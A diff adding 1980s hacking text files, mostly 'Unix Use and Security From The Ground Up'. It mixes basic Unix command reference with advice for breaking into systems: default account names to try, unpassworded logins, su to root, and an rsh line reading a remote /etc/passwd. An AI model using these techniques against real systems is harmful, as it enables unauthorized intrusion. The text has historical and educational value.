allowed. + Again, we come to another, "different" version of the uucp facilities. +On some systems, the commands a remote system can execute on the local system +are contained in the file /usr/lib/uucp/Permissions. Entries in this file are +in the form: + +MACHINE=[remote] COMMANDS=[commands] REQUEST=[yes/no] SEND=[yes/no] READ= +[directories] WRITE=[directories] + +Where: + +Remote is the name of the remote system. Commands is a list of the commands +the remote may execute on the local system, in the form: +pathname:pathname + +For example: + +/bin/rmail:/usr/bin/netnews + +The yes (or no) aft er "REQUEST=" tells whether or not the remote can copy +files from the local system. The yes/no after "SEND=" tells whether or not the +remote system can send files to the local system. The list of directories after +"READ=" tells which directories the remote can copy files from (provided that +it has REQUEST privileges), and is in the form: + +pathname:pathname...etc. + +For example: + +/usr/spool/uucppublic:/usr/lib/uucp + +Again, as before, the remote has copy access to any directories that are below +the directories in the list in the system tree. The list of directories after +"WRITE=" is in the same form as the list of directories after "READ=", and is a +list of the directories that the remote can copy files TO on the local system. + +RSH +--- + This is a new feature which I have seen on a few systems. This is not, +to the best of my knowledge, a System V feature, but a package available for +3rd party software vendors. If the rsh command is featured on a system, the +restricted (rsh) Bourne shell will be renamed rshell. Rsh stands for remote +shell, and is for the execution of any command, interactive or otherwise, on a +remote system. The command is executed realtime, and the output from the +command will be sent to your display. Any keys you press while this command is +being executed will be sent to the remote system, including breaks and +interrupts. The format is: + +rsh [system] command line + +For example: + +rsh ripco cat /etc/passwd + +Will print out the /etc/passwd file of the Ripco system on your screen. To the +best of my knowledge, the only security features of the rsh command are the +individual file and directory protections of the remote system. + +UUNAME AND UUSTAT +----------------- + These are 2 commands which are for use by users to show the state of +the local system's uucp facilities. Uuname gives a list of all the system names +in the Systems (L.sys) file, and uustat gives a list of all pending uucp/uux +jobs. + +NETWORK MAIL +------------ + There are several different ways of sending mail to users on other +systems. First of all, using the uucp and uux commands. Simply edit a text file +containing the message you wish to send, and uucp a copy of it to the remote +system. Then send it to the target user on that system using the uux command: + +uux system!rmail [username] < [pathname] + +Where system is the name of the system the target user is on, username is the +name of the user you wish to send the mail to, and pathname is the pathname of +the text file you sent to the remote system. This method works by executing the +rmail command (Receive Mail), the syntax of which is "rmail [user]", and +redirecting its input from the file you sent to the remote. This method will +only work if the remote allows users from your local system to execut the rmail +command. + The second method is for systems which feature the remote shell (rsh) +command. If the remote system can be contacted by your local system via rsh, +type: + +rsh system!mail [user] + +And once connected, enter your message as normal. + This last method is the method of sending mail over uucp networks. This +method is the one employed by USENET and other large uucp networks, as well as +many smaller and/or private networks. This method uses the simple mail command: + +mail system!system!system![and so on to infinity]!system@user + +Where: +The list of systems is the routing to the target system, and user is the mail +recipient on the target system. The routing takes a bit of explanation. Imagine +something a uucp network with connections like this: + + unix1 + | + ------------------- + | | + unix2 unix3 + | | + unix4-------------unix5 + +This network map shows what systems are on the network, and which systems have +entries for which other systems in its Systems (L.sys) file. In this example: + +Unix1 has entries for unix2 and unix3. +Unix2 has entries for unix1 and unix4. +Unix3 has entries for unix1 and unix5. +Unix4 has entries for unix2 and unix5. +Unix5 has entries for unix3 and unix4. + +Now to explain the routing. If unix1 wanted to reach unix5, it couldn't do so +directly, since it has no means of reaching it (no entry for it in its Systems +file). So, it would "forward" the mail through a series of other systems. For +example, to send mail to the user root on unix5, any of these routings could be +used: + +unix3!unix5@root +unix2!unix4!unix5@root + +Obviously, the first routing would be the shortest and quickest. So, to mail a +message from unix1 to the root user on unix5, you would type: + +mail unix3!unix5@root + +Then type in your message and press control-D when finished, and the uucp +facilities will deliver your mail. + +ACKNOWLEDGEMENTS +---------------- + Well, this is it- the end of the file. I hope you've found it +informative and helpful. Before I go on, I'd like to thank a few people whose +assistance made writing this file either A: possible or B: easier- + +Shadow Hawke I, for sharing many a Unix account with me. +The Warrior (of 312), for helping me get started in hacking. +Omega-- for helping me hack a large network of Unix systems. +Psychedelic Warlord, for helping me with a BSD Unix system. +Shooting Shark, for his C decoy, and more than a few good posts on Private +Sector. +Kid&Co, for providing me with some information on the Telnet program. +And lastly but not leastly, Bellcore, Southern Bell, and BOC's around the +country for the use of their systems. Thanks, all! + + \ No newline at end of file diff --git a/textfiles.com/hacking/UNIX/unix001.txt b/textfiles.com/hacking/UNIX/unix001.txt new file mode 100644 index 00000000..808480b0 --- /dev/null +++ b/textfiles.com/hacking/UNIX/unix001.txt @@ -0,0 +1,2824 @@ + ************************************************* + ************************************************* + ** ** + ** Unix Use and Security From ** + ** The Ground Up ** + ** ** + ** by ** + ** ** + ** The Prophet ** + ** ** + ** ** + ************************************************* + ************************************************* + +December 5, 1986. + +INTRODUCTION +------------ + The Unix operating system is one of the most heavily used mainframe +operating systems today. It runs on many different computers (Dec VAX's, AT&T's +3bx series, PDP-11's, and just about any other you can think of- including +PC's), and there are many different, but pretty much similar, versions of it. +These Unix clones go by many different names- here are the most common: Xenix, +Ultrix, Ros, IX/370 (for the IBM 370), PCIX (for the IBM PC), and Berkely (BSD) +Unix. This file will concentrate on AT&T System V Unix, probably the most +heavily used version. (The next most heavily used is Berkely Unix.) This file +will cover just about everything all but THE most advanced hacker will need to +know about the Unix system, from the most rodent information to advanced +hacking techniques. This is the second version of this file, and as I discover +any errors or new tricks, I will update it. This file is, to the best of my +knowledge, totally accurate, however, and the techniques in it will work just +as described herein. Note, that these techniques will work on System V Unix. +Not necessarily all, but most, should work on most other versions of Unix as +well. Later, if this file is received well, and there is demand for another, I +will release a file on yet more advanced techniques. If you wish to contact me, +I can be reached several ways. First, on these boards: + +Shadow Spawn 219-659-1503 +Private Sector 201-366-4431 (As prophet, not The Prophet...some rodent stole + my name.) +Ripco 312-528-5020 +Stalag 13 215-657-8523 +Phreak Klass 2600 806-799-0016 + +Or at this voice message system: + +800-556-7001 +Box 7023 + +I welcome any suggestions, corrections, or feedback of any kind. And lastly, +thanks for taking the time to read this: + +THE USUAL DISCLAIMER: +--------------------- + This file is for [of course] informational purposes only. I +don't take responsibility for anything anyone does after reading this file. +_______________________________________________________________________________ + + +IDENTIFYING UNIX SYSTEMS AND LOGGING IN +--------------------------------------- + A Unix system can easily be identified by its prompts. When you first +connect to a Unix system, you should receive the login prompt, which is usually +"Login:" (Note, that the first character may or may not be capitalized.) On +some systems, this prompt may be ";Login:" or "User:" (Again, the first letter +may or may not be capitalized.) This may be preceded by a short message, +(usually something like "WARNING!!! This system is for authorized users +only!"), the name of the company that owns the system, or the uucp network name +of the system. (The uucp facilities will be explained in detail later.) At this +point, you should enter the user name and press return. (You should be in +lowercase if your terminal supports it.) You should then receive the password +prompt, "Password:" (And yet again, the "P" may or may not be capitalized.) At +this point, you should enter your password and press return. If you have +specified the correct username/password pair, you will then be admitted into +the system. If you have entered a non-existant username or an incorrect +password, you will receive the message "Login incorrect" and will be returned +to the login prompt. There is little information given before login, and there +is no way to find valid usernames from pre-login information. + There are no "default" passwords in Unix. When the system is initially +set up, none of the default accounts or any of the accounts created by the +system operators has a password, until the system operator or the account owner +set one for the account. Often, lazy system operators and unwary users do not +bother to password many (and in some cases, all) of these accounts. To log in +under an account that doesn't have a password, you have only to enter the +username at the login prompt. + You may encounter some occasional error messages when attempting to log +in under certain accounts. Here are some of the more common messages, and their +causes: + 1. "Unable to change directory to /usr/whatever"-This means that the + account's home directory, the directory which it is placed in + upon logon, does not exist. On some systems, this may prevent + you from logging under that account, and you will be returned + to the login prompt. On other systems, you will simply be + placed in the root directory. If this is the case, you will + see the message "Changing directory to '/'". + 2. "No shell"-this means that the account's shell, or command + interpreter does not exist. On some systems, the account will + not be allowed to log in, and you will be returned to the login + prompt. On other systems, the account will be admitted into the + system using a default shell, usually the Bourne shell. (The + shell will be explained later.) If this is the case, you will + see the message "Using /bin/sh". + + +UNIX ACCOUNTS +------------- + There are two types of Unix accounts-user and superuser accounts. User +accounts are the normal user accounts. These accounts have no privileges. +Superuser accounts are the system operator accounts. These accounts have full +privileges, and are not bound by the file and directory protections of other +users. In Unix, there is no hierarchy of privileges-either an account has full +privileges, or it has none. + Unix usernames are up to 14 characters long, but usually are within the +range of 1-8. The usernames can contain almost any characters, including +control and special characters. (The accounts will usually not contain the +characters @, control-d, control-j, or control-x, as these characters have +special meanings to the Unix operating system.) The Unix system comes initially +configured with quite a few default accounts, some of which are superuser and +some of which are only user-level accounts. Here is a list of the default +accounts which usually have superuser privileges: +root (Always!) +makefsys +mountfsys +umountfsys +checkfsys + +The root account is always present on the system, and always has superuser +capabilities. (Note: most Unix System V systems come initially set up with a +security feature that prevents superuser accounts from logging in remotely. If +you attempt to log in under a superuser account remotely on a system with this +feature, you will receive the message "Not on console", and will be refused +admission to the operating system. This will NOT prevent you from using +superuser accounts remotely-you simply have to log in under a user account and +then switch over to a superuser account using the su utility, which will be +described later.) +Here is a list of the user-level default accounts: +lp +daemon +trouble +nuucp +uucp +bin +rje +adm +sysadm +sync + +The bin account, although it is only a user account, is particularly powerful, +as it has ownership of many of the system's important directories and files. +Although these are the only default accounts on System V Unix, there are many +other accounts which I have found to be common to many Unix systems. Here is a +list of some of the accounts I have found on many Unix systems: +batch admin user demo test +field unix guest pub public +standard games general student help +gsa tty lpadmin + +Also try variations on the account names, such as rje1, rje2, user1, user2, +etc. Also, try variations on people's names and initials, such as doej, doe, +john, johnd, jjd, etc. + No matter what the format for the usernames, one thing is common to all +systems-almost all of the usernames will begin with a lowercase letter. There +is a good reason for this-when logging into the system, if the first character +of the username you type in is in uppr-case, the system automatically assumes +that your terminal does not support lower-case. It will then send all output to +you in upper-case, with characters that are supposed to be upper-case preceded +by a backslash ("\", the Unix escape character), to differentiate them from the +characters which are meant to be in lower-case. Unix *always* differentiates +between the cases, so it is best to stay in lower-case while on the system. + As mentioned before, there are no "default" passwords on Unix. When an +account is created, it has no password, until the superuser or the account's +owner sets one for it. Unix passwords are a maximum of 11 characters. The +password may contain any character, and the system distinguishes between upper +and lower case characters. Many Unix systems implement a special security +feature under which passwords must contain at least 2 non-alphanumeric +characters (similar to Compuserve's password protection). Yet another password +security feature of Unix allows the superuser to set an expiration date on +users' passwords. + + +COMMAND LOGINS +-------------- + Many systems have accounts known as "command logins". These are +accounts that log in, execute a single command, and are then logged out. These +accounts rarely have passwords. Here is a list of common command logins: +who -This is a particularly useful command login. When you enter this at + the username of a system with this particular account, the system will + display a list of the users currently on the system. A good way to get + valid usernames to hack. +time -Not very useful. Just displays the time. +date -Ditto the above, but displays the current date. Great if you don't + have a calendar. +sync -This default account is sometimes set up as a command login. It merely + executes the sync command, which causes any data which is meant to be + stored to be written to disk. + +UNIX SPECIAL CHARACTERS +----------------------- + The Unix operating system interprets certain characters in special +ways. Provided here is a list of those special characters, and their meanings +to the Unix operating system: + +Control-D -This is the Unix end-of-file character. +Control-J -Some systems interpret this, rather than Control-M, as the + return character, while others may use both. The vast majority, + however, will only use Control-M. +Control-Delete -This is the Unix kill character. It will automatically end + your current process. +@ -Some systems use this as the kill character. +\ -This is the Unix escape character. Its main use it to + differentiate between upper- and lower-case characters when + logged in on a terminal that only supports upper-case. For + instance, if you wanted to send the command "cd /Mrs/data", + (never mind what it does right now), you would type this: + (this is how it would look on your upper-case only terminal) + CD /\MRS/DATA + The backslash before the M would let the system know that the M + supposed to be upper-case, while the others would simply be + interpreted as lower-case. + + The characters will rarely be used in usernames and passwords because +of the way they are interpreted. Note, however, that these values may usually +be changed once inside the system using the stty command, which will be +explained later. for instance, the end of file character could be changed to +control-A if you wished. + +THE UNIX SHELL +-------------- + The Unix shell is the command interpreter program that accepts your +input and carries out your commands. It is NOT the operating system itself, it +is the interface between the user and the operating system. The shell is a +program that is executed when you are logged in, and when you end the shell +program, you are logged out of the system. There is nothing special about the +shell program-it is just a regular program, like any other on the Unix system. +In fact, once you are logged on, you can execute another shell just as you +would execute a program. This ability, to run multiple shell levels, can be +used to perform some interesting tricks that will be detailed later in this +file. There is also more than one kind of shell. All the shells perform the +same basic function of interpreting the user's commands, but there are a few +differences. Here is a list of the different shells, their unique +characteristics, and how to tell which shell you are using: + +Shell +----- +sh -This is the Bourne shell, the standard shell of Unix System V, and the + focus of this file. This shell gives user-level accounts a command + prompt of "$", and "#" for superuser accounts. On Berkely BSD Unix, + this shell gives an ampersand ("&") prompt. + +csh -This is the C shell, developed by the Berkely University Science + department. This shell is pretty much the same as the Bourne shell, but + features different shell programming control structures [shell + programming will be explained later, in the section on Unix software + development], and has a few luxuries such as aliasing (giving a command + or a series of commands a new name), and it keeps a history of the + commands you enter. This shell gives a "%" prompt for user accounts and + a "#" prompt for superuser accounts. + +ksh -This is the new, Korn shell. This shell combines features of both the + Bourne shell and the C shell. It boasts the Bourne shell's easier shell + programming, along with the C shell's aliasing and history. Its prompts + are "$" for users and "#" for superusers. + +rsh -This is the restricted Bourne shell. It is used for accounts that the + superuser wishes to restrict the commands available to. It will not + allow you to execute commands outside of your searchpath (which will be + explained later, also, in the section on software development), and + will not let you change directories or change the values of shell + variables. In all other respects, it is similar to the Bourne shell. A + later section of this file will detail ways to overcome the + restrictions of this shell. + +ua -This is a lousy, menu-driven shell for the AT&T Unix PC. (Yes, there + are some of those with dialups!) It implements a lousy windowing + system that is SLOOOW, even at 2400 baud. Luckily, you can exit to the + Bourne shell from the ua shell. + + These are by no means all of the shells you will run across. These are +only the "official" shells provided by the distributors of the Unix operating +system. I've run across many "home-made" shells in my time. Also, any compiled +program can be used as a shell. For instance, I've used systems run by +businesses where one account logged in using an accounting program as a shell. +This prevented the account from being used to do anything other than use the +accounting program. Other good examples of this are the command logins-the who +command login, for example, uses the who program as its shell. When the program +is finished, the account is logged out. You will most definitely encounter +other such accounts as you hack Unix. + +UNIX FILES AND DIRECTORIES +-------------------------- + Unix files and directories are referenced with pathnames, a la MS-DOS. +If you are familiar with MS-DOs, then you should have no problem understanding +this section. Unix files and directories are referenced in the almost the exact +same way-the only difference is that it uses the "/" character, not the +backslash, to separate the directories in the pathname. + Pathnames are a simple concept to understand, but are difficult to +explain. Imagine the system's files and directories laid out in a tree fashion, +like this: + / (root directory) + : + : + ------------------------- + : : + : : + usr (dir) bill (dir) + : : + -------------- -------------- + : : : : + junk (file) source (dir) memo (file) names (file) + : + +"/" is the root directory. This is the top directory in the system tree, and +all other files and directories are referenced in relation to this directory. +The root directory has 2 subdirectories in it, "usr" and "bill". In the usr +directory, there is a file called "junk" and an empty directory called +"source". In the directory bill, there are 2 files, "memo" and "names". You +specify pathnames by starting at the top of the system, "/", and tracing your +way down the system tree to the file or directory you wish to reference, +separating each directory you must pass through to get to it with a slash. For +instance, the pathname of the file "junk" would be "/usr/junk". The pathname of +the usr directory would be "/usr". The pathname of the source directory would +be "/usr/source". The pathname of the bill directory would be "/bill", and the +pathnames of the 2 files which reside in it would be "/bill/memo" and +"/bill/names". + Files and directories can also be referenced by their base names if +they are in your current directory. For instance, if you were in the directory +"usr", you could reference the file "/usr/junk" by its base name, "junk". If +you were in the root directory, you could reference the bill directory by its +base name, "bill". You can reference the file directly above your current +directory in the system tree as ".." and your current directory can be +referenced as "." + Unix file and directory names can be up to 14 characters in length. The +filename can contain any ASCII character, including control characters, except +a space. It may contain both upper- and lower-case, and Unix does distinguish +between the two. Unix does not use filename extensions, a la VMS or MS-DOS, to +show the kind of file a file is. A period, in Unix, is just another character +in the filename, not a separator between 2 fields in the name. File names which +begin with a period are called "hidden" files-that is, they are only revealed +if you issue a special command. + There are 3 kinds of files in Unix. These are text files, binary files, +and device files. Text files are just what you'd think they are from the name- +files of ASCII text, just like what you're reading right now. Binary files are +executable machine-code files. (There are also executable text files, called +shell scripts, that will be explained in detail in the section on Unix software +development.) Device files are files that represent the system's I/O devices- +disk drives, terminals, etc. Remember, that Unix was created as an enviroment +for software development. Its designers wished for programs written for Unix +systems to be as transportable between different models of machines running +the operating system as possible. By representing the I/O devices as files, +they eliminated the incompatability in the code that handled I/O. The program +simply has to read and write from/to the file, and the Unix operating system +handles the system-dependant details. + +BASIC UNIX COMMANDS +------------------- + This section will describe some basic Unix commands, and detail how to +get further help on-line. It will briefly provide the syntax for a few commands +you will find necessary to know in order to find your way around on the system. + Unix will usually only require that you use the base name of a file or +directory you wish to reference if it is in the directory you are currently in. +Most commands will also let you specify full pathnames if you wish to reference +files in other parts of the system. Most commands will also let you use several +wildcard characters when referencing files and directories. These are: +? -This means to accept any single character in the place of the question + mark. For instance, "t?m" would include both "tom" and "tim". + +* -This means to accept any character, group of characters, or nothing in + the position of the asterisk. For example, "t*m" would include "thom", + "tom", and "tim". +[] -This means to accept any character within the brackets in the position + of the brackets. For instance, "t[oia]m" would include "tom", "tim", + and "tam". You can also specify a range of characters in the brackets + by using a hyphen. For instance, "t[a-c]m" would include "tam", "tbm", + and "tcm". + + Most commands and programs in Unix take their input from the keyboard +and send their output to the screen. With most commands and programs, however, +you can instruct them to draw their input from a text file and redirect their +output to another file instead. For instance, assume there is a program on the +system called "encrypter", that takes its input from the keyboard, encrypts it, +and displays the encrypted data on the screen. You could instruct the program +to take its input, instead, from a previously prepared text file using the +input redirection character, "<". In Unix, as in MS-DOs (which is based in part +on Unix), you execute a program by typing its name. You wish the program to +take its input from a file in the directory you are currently in called +"top_secret". You would type "encrypter < top_secret". The program would then +read in the contents of the file top_secret and encrypt it, then print out the +encrypted form on the screen. Suppose you wanted to use the encrypter program +to encrypt files you wished to keep private? You could redirect the encrypted +output from the screen into another file. To do this, you would use the output +redirection character, ">". Say, you wished to save the output in a file called +"private". You would type "encrypter < top_secret > private". The encrypter +program would then read in the contents of the file top_secret and write the +encrypted output into the file "private". Nothing would be displayed to the +screen. If the file private does not exist, it will be created. If it +previously existed, its contents will be erased and replaced with the output +from the encrypter program. Perhaps you would want to add to the contents of a +file rather than replace its contents? This is done with ">>". The command +"encrypter < top_secret >> private" would append the output from the encrypter +to the current contents of the file private. Again, if the file private does +not already exist, it will be created. + Most commands have one or more options that you can specify. These are +placed after the command itself in the command line, and preceded by a hyphen. +For instance, let's say that the encrypter program had an option called +"x", which caused it to use a different encoding algorithm. You would +specify it by typing "encrypter -x". If a command has two or more options, you +can usually specify one or more together in a stream. For instance, let's say +that the encrypter program has 2 options, x and y. You could specify both like +this: "encrypter -xy". If one or more of the options requires an argument, for +example the x option requires a 2 character key, you can specify the options +separately, like this: "encrypter -xaa -y", where aa is the 2-character key. + The pipe character, "|", is used to channel the output of one command +or program into the input of another. For instance, suppose you had a command +called "report" that formatted documents into report format, and you had a file +called "myreport" that you wished to view in the report format. You could type: +"cat myreport" | report". This would type out the contents of the file myreport +to the report command rather than the screen, and the report command would +format it and display it on the screen. (Note: this example could have been +done with I/O redirection by typing "report < myreport"...but it makes a good +example of the use of pipes.) + You can choose to execute commands and programs in the background-that +is, the command executes, but you are free to carry out other tasks in the +meantime. To do this, type in the command line, followed by " &". For instance, +"rm * &" would delete all the files in the directory, but your terminal would +not be tied up. You would still be free to perform other tasks. When you do +this, the system will print out a number and then return you to the system +prompt. This number is the process number of the command. Process numbers will +be explained later in this section in the entry for the command "ps". The +command can be stopped before its completion with the kill command, also +explained in this section. Example: + $rm * & + 1234 + $ + +Note that when you use background processing, the command or program will still +takes its input from the keyboard (standard input device) and send its output +to the screen (standard output device), so if you wish for the command to work +in the background without disturbing you, you must redirect its input (if any) +and its output (if it's to the screen). + +THE COMMANDS +------------ + +ls -This command lists the files and subdirectories in a directory. If you + simply type "ls", it will display the files in your current directory. + You can also specify the pathname of another directory, and it will + display the files in it. It will not display hidden files (files whose + name begins with a period). + + Options: + a -This option will display all files, including hidden files. + + Example: + $ ls -a + + . .. junk source + $ + +cd -This is the command used to move from one directory to another. To go + to a directory directly below your current directory, type "cd + ". To move up to the directory directly above your current + directory, type "cd .." You can also jump to any directory in the + system from any other directory in the system by specifying the path- + name of the directory you wish to go to, such as "cd /usr/source". + + Example: + $cd /usr/source + $ + +pwd -This prints out the pathname of the directory you are currently in. + Useful if you forget where you're at in the system tree. + + Example: + $pwd + /usr/source + +cat -Displays the contents of a text file on the screen. The correct syntax + is "cat ". You can use basenames or pathnames. + + Example: + $cat memo + Bill, + Remember to feed the cat! + -Martha + $ + +rm -This deletes a file. Syntax: "rm ". + + Example: + $rm junk + $ + +cp -Copies a file. Syntax: "cp file1 file2", where file1 is the file you + wish to copy, and file2 is the name of the copy you wish to create. If + file2 already exists, it will be overwritten. You may specify pathnames + for one or both arguments. + + Example: + $cp /usr/junk /usr/junk.backup + +stty -Displays/sets your terminal characteristics. To display the current + settings, type "stty". To change a setting, specify one of the options + listed below. + + Options: + echo -System echoes back your input. + noecho -System doesn't echo your input. + intr 'arg' -Sets the break character. The format is '^c' for control-c, + etc. '' means no break character. + erase 'arg' -Sets the backspace character. Format is '^h' for control-h, + etc. '' means no backspace character. + kill 'arg' -Sets the kill character (which means to ignore the last line + you typed). Format is the same as for intr and erase, + '^[character]', with '' meaning no kill character. + + Example: + $stty intr '^c' erase '^h' + $stty + stty -echo intr '^c' erase '^h' kill '^x' + +lpr -This command prints out a file on the Unix system's printer, for you + to drop by and pick up (if you dare!) The format is "lpr ". + + Example: + $lp junk + +ed -This is a text file line editor. The format is "edit ". The + file you wish to modify is not modified directly by the editor; it is + loaded into a buffer instead, and the changes are only made when you + issue a write command. If the file you are editing does not already + exist, it will be created as soon as issue the first write command. + When you first issue the edit command, you will be placed at the + command prompt, ":" Here is where you issue the various commands. Here + is list of some of the basic editor commands. + # -This is any number, such as 1, 2, etc. This will move you down + to that line of the file and display it. + d -This deletes the line you are currently at. You will then be + moved to the previous line, which will be displayed. + a -Begin adding lines to the file, just after the line that you + are currently on. This command will put you in the text input + mode. Simply type in the text you wish to add. To return to the + command mode, type return to get to an empty line, and press + the break key (which is whatever character you have set as your + break key). It is important to set the break character with + stty before you use the editor! + / -Searches for a pattern in the file. For example, "/junk" would + search the file from your current line down for the first line + which contains the string "junk", and will move you to that + line if it finds one. + i -Insert. Works similar to a, except that the text is inserted + before the line you are currently on. + p -Prints out a line or lines in the buffer. "p" by itself will + display your current line. "#p" will display the line "#". + You may also specify a range of lines, such as "1,3p" which + will display lines 1-3. "1,$p" will print out the entire file. + w -Write the changes in the buffer to the file. + q -Quit the editor. + + Example: + $edit myfile + Editing "myfile" [new file] + 0 lines, 0 characters + :a + I am adding stupid text to myfile. + This is a test. + ^c [this is assumed as a default break character in this example] + :1,$p + I am adding stupid text to myfile. + This is a test. + :2 + This is a test. + :d + I am adding stupid text to myfile. + :w + :q + $ + +grep -this command searches for strings of text in text files. The format is + grep [string] [file]. It will print out every line in the file that + contains the string you specified. + + Options: + v -Invert. This will print out every line that DOESN'T contain + the string you specified. + + Example: + $ grep you letter + your momma! + I think you're going to get caught. + $ + +who -This will show the users currently logged onto the system. + + Example: + $ who + + root console Mar 10 01:00 + uucp contty Mar 30 13:00 + bill tty03 Mar 30 12:15 + $ + Now, to explain the above output: the first field is the username of + the account. The second field shows which terminal the account is on. + Console is, always, the system console itself. On many systems where + there is only one dialup line, the terminal for that line is usually + called contty. the tty## terminals can usually be either dialups or + local terminals. The last fields show the date and time that the user + logged on. In the example above, let's assume that the current time and + date is March 30, and the time is 1:00. Notice that the time is in 24 + hour format. Now, notice that the root (superuser) account logged in on + March 10! Some systems leave the root account logged in all the time on + the console. So, if this is done on a system you are using, how can you + tell if the system operator is really online or not? Use the ps + command, explained next. + +ps -This command displays information about system processes. + + Options: + u -this displays information on a specific user's processes. For + instance, to display the root account's processes: + $ ps -uroot + + PID TTY TIME CMD + 1234 console 01:00 sh + 1675 ? 00:00 cron + 1687 console 13:00 who + 1780 tty09 12:03 sh + + Now, to explain that: The first field is the process number. + Each and every time you start a processes, running a program, + issueing a command, etc., that process is assigned a unique + number. The second is which terminal the process is being run + on. The third field is when the process was started. The last + field is the base name of the program or command being run. + A user's lowest process number is his login (shell) process. + Note that the lowerst process in the above example is 1234. + This process is being run on the console tty, which means the + superuser is logged on at the system console. Note the ? as the + tty in the next entry, for the cron process. You can ignore any + processes with a question mark as the terminal. These processes + are not bewing carried out by a user; they are being carried + out by the system under that user's id. Next, note the entry + for process # 1687, on the console terminal, "who". this means + that the superuser is executing the who command...which means + he is currently actively on-line. The next entry is interest- + ing...it shows that the root user has a shell process on the + terminal tty09! This means that someone else is logged in + under the root account, on tty09. If more than one person is + using an account, this option will display information for all + of them, unless you specify the next option... + + t -This allows you to select processes run on a specific term- + inal. For example: + $ps -t console + will show all the processes currently being run on the console. + + Example: + Remember, options can usually be combined. This will show all + the root user's processes being run on the system console: + $ ps -uroot -tconsole + + PID TTY TIME CMD + 1234 console 01:00 sh + 1687 console 13:00 who + $ + +kill -Kills processes. Syntax: kill [-#] process#. You must know the process + number to kill it. You can, optionally, specify an option of 1-9, to + determine the power of the kill command. Certain kinds of processes, + like shell processes, require more power to kill. Kill -9 will stop any + process. You must have superuser capabilities fo kill another user's + processes (unless he's using your account). + + Example: + $kill -9 1234 + 1234 killed. + $ + +write -This command is for on-line realtime user to user communications. To + communicate with a user, type "write ". If more than one + person is logged in under that user name, you must specify a specific + terminal you wish to speak to. When you do this, the person you wish + to communicate with will see: + Message from [your account name] tty## [<--your terminal] + + Now you can type messages, and they will be displayed on that person's + terminal when you press return. When you are finished, press control-D + to quit. + + Example: + $ write root + Fuck you I'm a hacker! [This is not advised.] + ^d + $ + +mail -The Unix mail facilities, used to send/receive mail. To send mail, + type "mail ". Enter your message and press control-d to send. + To read your mail, type "mail". Your first letter will be displayed, + and then you will be given a "?" prompt. + Here are the legal commands you give at this point: + ## -Read message number ##. + d -Delete last message read. + + -Go to next message. + - -Move back one message. + m -Send mail to user. + s -Save last message read. You can specify the name of the file + to which it is saved, or it will be saved to the default file, + mbox. + w -Same as s, but will save the message without the mail file + header. + x -Exit without deleting messages that have been read. + q -Exit, deleting messages that have been read. + p -Print last message read again. + ? -Lists these commands. + + Examples: + To send mail: + $ mail root + Hi bill! This is a nice system. + -John + ^d + $ + To read mail: + $ mail + From john Thu Mar 13 02:00:00 1986 + Hi bill! This is a nice system. + -John + ? d + Message deleted. + ?q + $ + +crypt -This is the Unix file encryption utility. Type "crypt". You will then + be prompted to enter the password. You then enter the text. Each line + is encrypted when you press return, and the encrypted form is displayed + on the screen. So, to encrypt a file, you must use I/O redirection. + Type "crypt [password] < [file1] > [file2]". This will encrypt the con- + tents of file1 and place the encrypted output in file2. If file 2 does + not exist, it will be created. + +passwd -This is the command used to change the password of an account. The + format is "passwd ". You must have superuser capabilities to + change the password for any account other than the one you are logged + in under. To change the password of the account you are currently + using, simply type "passwd". You will then be prompted to enter the + current password. Next, you will be asked to enter the new password. + Then you will be asked to verify the new password. If you verify the + old password correctly, the password change will be complete. (Note: + some systems use a security feature which forces you to use at least + 2 non-alphanumeric characters in the password. If this is the case with + the system you are on, you will be informed so if you try to enter a + new password that does not contain at least 2 non-alphanumeric char- + acters.) + +su -This command is used to temporarily assume the id of another account. + the format is "su ". If you don't specify an account, the + default root is assumed. If the account has no password, you will then + assume that account's identity. If it does have a password, you will + be prompted to enter it. Beware of hacking passwords like this, as the + system keeps a log of all attempted uses, both successful and un- + successful, and which account you attempted to access. + +mkdir -This command creates a directory. the format is "mkdir ". + +rmdir -This command deletes a directory. The directory must be empty first. + The format is "rmdir ". + +mv -Renames a file. The syntax is "mv [oldname] [newname]". You can use + full pathnames, but the new name must have the same pathname as the + old name, except for the filename itself. + +------------------------------------------------------------------------------- + Further help can usually be gained from the system itself. Most systems +feature on-line entries from the Unix System User's Manual. You can read these +entries using the man command. The format is "man ". Some Unix System +V systems also feature a menu-driven help facility. Simply type "help" to +access it. This one will provide you with a list of commands, as well as with +the manual entries for the commands. +------------------------------------------------------------------------------- + +UNIX FILE AND DIRECTORY PROTECTIONS +----------------------------------- + Every Unix account is assigned a specific user number, and a group +number. This is how the system identifies the user. Therefore, 2 accounts with +different usernames but the same user number would be considered by the system +to be the same id. These user and group numbers are what Unix uses to determine +file and directory access privileges. + Unix has three different file/directory permissions: read, write, and +execute. This how these permissions affect access to files: + +read -Allows a user to view the contents of the file. +write -Allows a user to change the contents of a file. +execute -Allows a user to execute a file (if it is an executable type of file; + if it isn't, the user will get an error when trying to execute it). + +This is how these permissions affect access to directories: + +read -Allows a user to list out the files in a directory (ls). +write -Allows a user to save and delete files in this directory. +execute -If a user has execute access to a directory, he can go to that dir- + ectory with the cd command. If he also has read permission to that dir- + ectory, he can also copy files from it and gain information on the + permissions for that directory and the files it contains, with the "l" + option to the ls command, which will be explained soon. + + Unix divides users into 3 classes: user (the owner of the file or dir- +ectory), group (members of the owner's group), and other (anyone who doesn't +fit into the first two classes). You can specify what permissions to give to a +file for each class of user. + To show the permissions of the files in a directory, use "ls -l". This +will list the contents of the directory (as in ls), and will show each's +permissions. For example: + $ls + bin startrek + $ ls -l + drwxrwxrwx 1 bin sys 12345 Mar 10 01:30 bin + -rwxr-xr-- 1 guest users 256 Mar 20 02:25 startrek + + In the above example, the directory we are in contains a subdirectory +called bin and a file called "startrek". Here is an explantion of the fields: +The first field contains the file's type and permissions. Look at the first +field of the first line, "drwxrwxrwx". Note the "d" at the begginning. Then see +the "-" at the begginging of the first field for the file startrek. This shows +the file type. "D" is a directory. "-" is a file. "c" is a device file. Now, +back to the first field of the first line again. Notice the "rwxrwxrwx". These +are the permissions. The permissions are divided into three groups: +[user][group][other]. R stands for read, w stands for write, and x stand for +execute. "rwxrwxrwx" means that all three classes of users, owner, group, and +other, have read, write, and execute permissions to the directory bin. Now look +at the second line. It reads "rwxr-xr--". Notice the "-"'s in the place of some +of the permissions. This means that the file was not given that permission. +Line 2 shows that the owner has read, write, and execute permissions for the +file startrek, members of the owner's group have read and execute permissions +but not write (notice the "-" in the place of the group part's w), and all +others have only read privileges ("r--"...there are hyphens in the place of the +others part's w and x). + Now, let's look at the other fields. The second field is a number (in +this case, the number is one for each line). This shows the number of copies of +this file on the system. The third field shows the name of the owner of file +(or 